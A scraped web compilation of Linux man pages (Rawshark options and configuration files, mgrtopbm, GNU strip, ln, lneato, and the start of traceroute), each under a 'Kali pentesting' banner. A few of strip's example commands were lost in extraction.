m to enable MAC address resolution

n to enable network address resolution

N to enable using external resolvers (e.g., DNS) for network address resolution; no effect without n also enabled.

t to enable transport-layer port number resolution

v to enable VLAN IDs to names resolution

–only-protocols <protocols>

Only enable dissection of these protocols, comma separated. Disable everything else.

-t (a|ad|adoy|d|dd|e|r|u|ud|udoy)[.[N]]|.[N]

Set the format of the packet timestamp displayed in the default time column. The format can be one of:

a absolute: The absolute time, as local time in your time zone, is the actual time the packet was captured, with no date displayed

ad absolute with date: 2020-01-01

adoy absolute with date using day of year: The absolute date, displayed as YYYY/DOY, and time, as local time in your time zone, is the actual time and date the packet was captured

d delta: The delta time is the time since the previous packet was captured

dd delta_displayed: The delta_displayed time is the time since the previous displayed packet was captured

e epoch: The time in seconds since epoch (Jan 1, 1970 00:00:00)

r relative: The relative time is the time elapsed between the first packet and the current packet

u UTC: The absolute time, as UTC, is the actual time the packet was captured, with no date displayed

ud UTC with date: 2020-01-01

udoy UTC with date using day of year: The absolute date, displayed as YYYY/DOY, and time, as UTC, is the actual time and date the packet was captured

.[N] Set the precision: N is the number of decimals (0 through 9). If using “.” without N, automatically determine precision from trace.

The default format is relative with precision based on capture format.

-u <s|hms>

Specifies how packet timestamp formats in -t which are relative times (i.e. relative, delta, and delta_displayed) are displayed. Valid choices are:

s for seconds

hms for hours, minutes, and seconds

The default format is seconds.

DIAGNOSTIC OPTIONS

–log-level <level>

Set the active log level. Supported levels in lowest to highest order are “noisy”, “debug”, “info”, “message”, “warning”, “critical”, and “error”. Messages at each level and higher will be printed, for example “warning” prints “warning”, “critical”, and “error” messages and “noisy” prints all messages. Levels are case insensitive.

–log-fatal <level>

Abort the program if any messages are logged at the specified level or higher. For example, “warning” aborts on any “warning”, “critical”, or “error” messages.

–log-domains <list>

Only print messages for the specified log domains, e.g. “GUI,Epan,sshdump”. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-debug <list>

Force the specified domains to log at the “debug” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-noisy <list>

Force the specified domains to log at the “noisy” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-fatal-domains <list>

Abort the program if any messages are logged for the specified log domains. List of domains must be comma-separated.

–log-file <path>

Write log messages and stderr output to the specified file.

READ FILTER SYNTAX

For a complete table of protocol and protocol fields that are filterable in TShark see the wireshark-filter(4) manual page.

FILES

These files contains various Wireshark configuration values.

Preferences

The preferences files contain global (system-wide) and personal preference settings. If the system-wide preference file exists, it is read first, overriding the default settings. If the personal preferences file exists, it is read next, overriding any previous values. Note: If the command line option -o is used (possibly more than once), it will in turn override values from the preferences files.

The preferences settings are in the form prefname:value, one per line, where prefname is the name of the preference and value is the value to which it should be set; white space is allowed between : and value. A preference setting can be continued on subsequent lines by indenting the continuation lines with white space. A # character starts a comment that runs to the end of the line:

Capture in promiscuous mode?

# TRUE or FALSE (case-insensitive).
capture.prom_mode: TRUE

The global preferences file is looked for in the wireshark directory under the share subdirectory of the main installation directory. On macOS, this would typically be /Application/Wireshark.app/Contents/Resources/share; on other UNIX-compatible systems, such as Linux, \BSD, Solaris, and AIX, this would typically be /usr/share/wireshark/preferences for system-installed packages and /usr/local/share/wireshark/preferences for locally-installed packages; on Windows, this would typically be C:\Program Files\Wireshark\preferences.

On UNIX-compatible systems, the personal preferences file is looked for in $XDG_CONFIG_HOME/wireshark/preferences, (or, if $XDG_CONFIG_HOME/wireshark does not exist while $HOME/.wireshark does exist, $HOME/.wireshark/preferences); this is typically $HOME/.config/wireshark/preferences. On Windows, the personal preferences file is looked for in %APPDATA%\Wireshark\preferences (or, if %APPDATA% isn’t defined, %USERPROFILE%\Application Data\Wireshark\preferences).

Disabled (Enabled) Protocols

The disabled_protos files contain system-wide and personal lists of protocols that have been disabled, so that their dissectors are never called. The files contain protocol names, one per line, where the protocol name is the same name that would be used in a display filter for the protocol:

http tcp # a comment

The global disabled_protos file uses the same directory as the global preferences file.

The personal disabled_protos file uses the same directory as the personal preferences file.

Name Resolution (hosts)

If the personal hosts file exists, it is used to resolve IPv4 and IPv6 addresses before any other attempts are made to resolve them. The file has the standard hosts file syntax; each line contains one IP address and name, separated by whitespace. The same directory as for the personal preferences file is used.

Capture filter name resolution is handled by libpcap on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, and by Npcap or WinPcap on Windows. As such the Wireshark personal hosts file will not be consulted for capture filter name resolution.

Name Resolution (subnets)

If an IPv4 address cannot be translated via name resolution (no exact match is found) then a partial match is attempted via the subnets file.

Each line of this file consists of an IPv4 address, a subnet mask length separated only by a / and a name separated by whitespace. While the address must be a full IPv4 address, any values beyond the mask length are subsequently ignored.

An example is:

# Comments must be prepended by the # sign! 192.168.0.0/24 ws_test_network

A partially matched name will be printed as “subnet-name.remaining-address”. For example, “192.168.0.1” under the subnet above would be printed as “ws_test_network.1”; if the mask length above had been 16 rather than 24, the printed address would be ``ws_test_network.0.1".

Name Resolution (ethers)

The ethers files are consulted to correlate 6-byte hardware addresses to names. First the personal ethers file is tried and if an address is not found there the global ethers file is tried next.

Each line contains one hardware address and name, separated by whitespace. The digits of the hardware address are separated by colons (:), dashes (-) or periods (.). The same separator character must be used consistently in an address. The following three lines are valid lines of an ethers file:

ff:ff:ff:ff:ff:ff Broadcast c0-00-ff-ff-ff-ff TR_broadcast 00.00.00.00.00.00 Zero_broadcast

The global ethers file is looked for in the /etc directory on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, and in the main installation directory (for example, C:\Program Files\Wireshark) on Windows systems.

The personal ethers file is looked for in the same directory as the personal preferences file.

Capture filter name resolution is handled by libpcap on UNIX-compatible systems and Npcap or WinPcap on Windows. As such the Wireshark personal ethers file will not be consulted for capture filter name resolution.

Name Resolution (manuf)

The manuf file is used to match the 3-byte vendor portion of a 6-byte hardware address with the manufacturer’s name; it can also contain well-known MAC addresses and address ranges specified with a netmask. The format of the file is the same as the ethers files, except that entries of the form:

00:00:0C Cisco

can be provided, with the 3-byte OUI and the name for a vendor, and entries such as:

00-00-0C-07-AC/40 All-HSRP-routers

can be specified, with a MAC address and a mask indicating how many bits of the address must match. The above entry, for example, has 40 significant bits, or 5 bytes, and would match addresses from 00-00-0C-07-AC-00 through 00-00-0C-07-AC-FF. The mask need not be a multiple of 8.

The manuf file is looked for in the same directory as the global preferences file.

Name Resolution (services)

The services file is used to translate port numbers into names.

The file has the standard services file syntax; each line contains one (service) name and one transport identifier separated by white space. The transport identifier includes one port number and one transport protocol name (typically tcp, udp, or sctp) separated by a /.

An example is:

mydns 5045/udp # My own Domain Name Server mydns 5045/tcp # My own Domain Name Server

Name Resolution (ipxnets)

The ipxnets files are used to correlate 4-byte IPX network numbers to names. First the global ipxnets file is tried and if that address is not found there the personal one is tried next.

The format is the same as the ethers file, except that each address is four bytes instead of six. Additionally, the address can be represented as a single hexadecimal number, as is more common in the IPX world, rather than four hex octets. For example, these four lines are valid lines of an ipxnets file:

C0.A8.2C.00 HR c0-a8-1c-00 CEO 00:00:BE:EF IT_Server1 110f FileServer3

The global ipxnets file is looked for in the /etc directory on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, and in the main installation directory (for example, C:\Program Files\Wireshark) on Windows systems.

The personal ipxnets file is looked for in the same directory as the personal preferences file.

ENVIRONMENT VARIABLES

WIRESHARK_CONFIG_DIR

This environment variable overrides the location of personal configuration files. On UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, it defaults to $XDG_CONFIG_HOME/wireshark (or, if that directory doesn’t exist but $HOME/.wireshark does exist, $HOME/.wireshark); this is typically $HOME/.config/wireshark. On Windows, it defaults to %APPDATA%\Wireshark (or, if %APPDATA% isn’t defined, %USERPROFILE%\Application Data\Wireshark). Available since Wireshark 3.0.

WIRESHARK_DEBUG_WMEM_OVERRIDE

Setting this environment variable forces the wmem framework to use the specified allocator backend for all allocations, regardless of which backend is normally specified by the code. This is mainly useful to developers when testing or debugging. See README.wmem in the source distribution for details.

WIRESHARK_RUN_FROM_BUILD_DIRECTORY

This environment variable causes the plugins and other data files to be loaded from the build directory (where the program was compiled) rather than from the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX.

WIRESHARK_DATA_DIR

This environment variable causes the various data files to be loaded from a directory other than the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems.

ERF_RECORDS_TO_CHECK

This environment variable controls the number of ERF records checked when deciding if a file really is in the ERF format. Setting this environment variable a number higher than the default (20) would make false positives less likely.

IPFIX_RECORDS_TO_CHECK

This environment variable controls the number of IPFIX records checked when deciding if a file really is in the IPFIX format. Setting this environment variable a number higher than the default (20) would make false positives less likely.

WIRESHARK_ABORT_ON_DISSECTOR_BUG

If this environment variable is set, Rawshark will call abort(3) when a dissector bug is encountered. abort(3) will cause the program to exit abnormally; if you are running Rawshark in a debugger, it should halt in the debugger and allow inspection of the process, and, if you are not running it in a debugger, it will, on some OSes, assuming your environment is configured correctly, generate a core dump file. This can be useful to developers attempting to troubleshoot a problem with a protocol dissector.

WIRESHARK_ABORT_ON_TOO_MANY_ITEMS

If this environment variable is set, Rawshark will call abort(3) if a dissector tries to add too many items to a tree (generally this is an indication of the dissector not breaking out of a loop soon enough). abort(3) will cause the program to exit abnormally; if you are running Rawshark in a debugger, it should halt in the debugger and allow inspection of the process, and, if you are not running it in a debugger, it will, on some OSes, assuming your environment is configured correctly, generate a core dump file. This can be useful to developers attempting to troubleshoot a problem with a protocol dissector.

SEE ALSO

wireshark-filter(4), wireshark(1), tshark(1), editcap(1), pcap(3), dumpcap(1), text2pcap(1), pcap-filter(7) or tcpdump(8)

NOTES

This is the manual page for Rawshark 4.2.5. Rawshark is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

Rawshark uses the same packet dissection code that Wireshark does, as well as using many other modules from Wireshark; see the list of authors in the Wireshark man page for a list of authors of that code.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2251 - Linux cli command mgrtopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mgrtopbm and provides detailed information about the command mgrtopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mgrtopbm.

.

NAME 🖥️ mgrtopbm 🖥️

convert a MGR bitmap into a PBM image

SYNOPSIS

mgrtopbm [mgrfile]

DESCRIPTION

This program is part of Netpbm(1) .

mgrtopbm reads a MGR bitmap as input and produces a PBM image as output.

MGR(1) is a window manager that is a smaller alternative to the X Windows System.

OPTIONS

There are no command line options defined specifically for mgrtopbm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbmtomgr(1) , pbm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/mgrtopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2252 - Linux cli command strip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command strip and provides detailed information about the command strip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the strip.

NAME 🖥️ strip 🖥️

discard symbols and other data from object files

SYNOPSIS

strip [-F bfdname |–target=bfdname] [-I bfdname |–input-target=bfdname] [-O bfdname |–output-target=bfdname] [-s|–strip-all] [-S|-g|-d|–strip-debug] [–strip-dwo] [-K symbolname|–keep-symbol=symbolname] [-M|–merge-notes][–no-merge-notes] [-N symbolname |–strip-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X |–discard-locals] [-R sectionname |–remove-section=sectionname] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-o file] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–keep-section-symbols] [–keep-file-symbols] [–only-keep-debug] [-v |–verbose] [-V|–version] [–help] [–info] objfile

DESCRIPTION

GNU strip discards all symbols from object files objfile. The list of object files may include archives. At least one object file must be given.

strip modifies the files named in its argument, rather than writing modified copies under different names.

OPTIONS

-F bfdname

–target=bfdname

Treat the original objfile as a file with the object code format bfdname, and rewrite it in the same format.

–help
Show a summary of the options to strip and exit.

–info
Display a list showing all architectures and object formats available.

-I bfdname

–input-target=bfdname

Treat the original objfile as a file with the object code format bfdname.

-O bfdname

–output-target=bfdname

Replace objfile with a file in the output format bfdname.

-R sectionname

–remove-section=sectionname

Remove any section named sectionname from the output file, in addition to whatever sections would otherwise be removed. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. The wildcard character * may be given at the end of sectionname. If so, then any section starting with sectionname will be removed. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the patter ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section headers. This option is specific to ELF files. Implies –strip-all and –merge-notes.

-s

–strip-all

Remove all symbols.

-g

-S

-d

–strip-debug

Remove debugging symbols only.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. See the description of this option in the objcopy section for more information.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-M

–merge-notes

–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes. The default is to attempt this reduction unless stripping debug or DWO information.

-N symbolname

–strip-symbol=symbolname

Remove symbol symbolname from the source file. This option may be given more than once, and may be combined with strip options other than -K.

-o file
Put the stripped output in file, rather than replacing the existing file. When this argument is used, only one objfile argument may be specified.

-p

–preserve-dates

Preserve the access and modification dates of the file.

-D

–enable-deterministic-archives

Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -K !foo -K fo* would cause strip to only keep symbols that start with the letters “fo”, but to discard the symbol “foo”.

-x

–discard-all

Remove non-global symbols.

-X

–discard-locals

Remove compiler-generated local symbols. (These usually start with L or ..)

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, emptying the contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all the note sections in the output as well. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

-V

–version

Show the version number for strip.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, strip -v lists all members of the archive.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2253 - Linux cli command ln

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ln and provides detailed information about the command ln, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ln.

NAME 🖥️ ln 🖥️

make links between files

SYNOPSIS

ln [OPTION]… [-T] TARGET LINK_NAME
ln [OPTION]… TARGET
ln [OPTION]… TARGETDIRECTORY
ln [OPTION]… -t DIRECTORY TARGET

DESCRIPTION

In the 1st form, create a link to TARGET with the name LINK_NAME. In the 2nd form, create a link to TARGET in the current directory. In the 3rd and 4th forms, create links to each TARGET in DIRECTORY. Create hard links by default, symbolic links with –symbolic. By default, each destination (name of new link) should not already exist. When creating hard links, each TARGET must exist. Symbolic links can hold arbitrary text; if later resolved, a relative link is interpreted in relation to its parent directory.

Mandatory arguments to long options are mandatory for short options too.

–backup[=CONTROL]
make a backup of each existing destination file

-b
like –backup but does not accept an argument

-d, -F, –directory
allow the superuser to attempt to hard link directories (note: will probably fail due to system restrictions, even for the superuser)

-f, –force
remove existing destination files

-i, –interactive
prompt whether to remove destinations

-L, –logical
dereference TARGETs that are symbolic links

-n, –no-dereference
treat LINK_NAME as a normal file if it is a symbolic link to a directory

-P, –physical
make hard links directly to symbolic links

-r, –relative
with -s, create links relative to link location

-s, –symbolic
make symbolic links instead of hard links

-S, –suffix=SUFFIX
override the usual backup suffix

-t, –target-directory=DIRECTORY
specify the DIRECTORY in which to create the links

-T, –no-target-directory
treat LINK_NAME as a normal file always

-v, –verbose
print name of each linked file

–help
display this help and exit

–version
output version information and exit

The backup suffix is ‘~’, unless set with –suffix or SIMPLE_BACKUP_SUFFIX. The version control method may be selected via the –backup option or through the VERSION_CONTROL environment variable. Here are the values:

none, off
never make backups (even if –backup is given)

numbered, t
make numbered backups

existing, nil
numbered if numbered backups exist, simple otherwise

simple, never
always make simple backups

Using -s ignores -L and -P. Otherwise, the last option specified controls behavior when a TARGET is a symbolic link, defaulting to -P.

AUTHOR

Written by Mike Parker and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

link(2), symlink(2)

Full documentation <https://www.gnu.org/software/coreutils/ln>
or available locally via: info ‘(coreutils) ln invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2254 - Linux cli command lneato

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lneato and provides detailed information about the command lneato, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lneato.

NAME 🖥️ lneato 🖥️

A Customizable Graph Editor

SYNOPSIS

lneato [ -V ] [ -lmmode ] [ -ellev ] [ file ]

DESCRIPTION

lneato is a graph editor for the X Window System. It may be run as a standalone editor, or as a front end for applications that use graphs. It can control multiple windows viewing different graphs.

lneato is written on top of neato and lefty. lefty is a general-purpose programmable editor for technical pictures. It has an interpretive programming language similar to AWK and C. The user interface and graph editing operations of lneato are written as lefty functions. Programmer-defined graph operations may be loaded as well. Graph layouts are made by neato, which runs as a separate process that communicates with lefty through pipes.

If the input graph contains xdot attributes, lneato will use that to display the graph. Otherwise, it runs neato to obtain layout information.

USAGE

The file name is optional. If present, the graph contained in that file is displayed in the lneato window.

OPTIONS

-V
Prints the version.

-lmmode
Sets the layout mode. The mode can be sync or async. The default is async.

-ellev
Sets the mesage level. The lev can be 0 or 1. The default is 0.

SEE ALSO

neato(1), lefty(1), dotty(1), xdot(3),
dotty user guide.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2255 - Linux cli command traceroute.db

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command traceroute.db and provides detailed information about the command traceroute.db, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the traceroute.db.

NAME 🖥️ traceroute.db 🖥️

print the route packets trace to network host

SYNOPSIS

traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,…]

[-i device] [-m max_ttl] [-p port] [-s src_addr]

[-q nqueries] [-N squeries] [-t tos]

[-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]

[-P proto] [–sport=port] [-M method] [-O mod_options]

[–mtu] [–back]

host [packet_len]
traceroute6 [options]
tcptraceroute [options]
lft [options]

DESCRIPTION

traceroute tracks the route packets taken from an IP network on their way to a given host. It utilizes the IP protocol’s time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to the host.

traceroute6 is equivalent to traceroute -6

tcptraceroute is equivalent to traceroute -T

lft , the Layer Four Traceroute, performs a TCP traceroute, like traceroute -T , but attempts to provide compatibility with the original such implementation, also called “lft”.

The only required parameter is the name or IP address of the destination host . The optional packet_len`gth is the total size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored in some situations or increased up to a minimal value.

This program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a small ttl (time to live) then listening for an ICMP “time exceeded” reply from a gateway. We start our probes with a ttl of one and increase by one until we get an ICMP “port unreachable” (or TCP reset), which means we got to the “host”, or hit a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the ttl, address of the gateway and round trip time of each probe. The address can be followed by additional information when requested. If the probe answers come from different gateways, the address of each responding system will be printed. If there is no response within a certain timeout, an “*” (asterisk) is printed for that probe.

After the trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence violation), !C (precedence cutoff in effect), or !<num> (ICMP unreachable code <num>). If almost all the probes result in some kind of unreachable, traceroute will give up and exit.

We don’t want the destination host to process the UDP probe packets, so the destination port is set to an unlikely value (you can change it with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open technique, which prevents our probes to be seen by applications on the destination host).

In the modern network environment the traditional traceroute methods can not be always applicable, because of widespread use of firewalls. Such firewalls filter the “unlikely” UDP ports, or even ICMP echoes. To solve this, some additional tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particular protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of allowed type of a network session).

OPTIONS

–help
Print help info and exit.

-4, -6
Explicitly force IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose the appropriate protocol automatically. If resolving a host name returns both IPv4 and IPv6 addresses, traceroute will use IPv4.

-I, –icmp
Use ICMP ECHO for probes

-T, –tcp
Use TCP SYN for probes

-d, –debug
Enable socket level debugging (when the Linux kernel supports it)

-F, –dont-fragment
Do not fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment remotely as well).

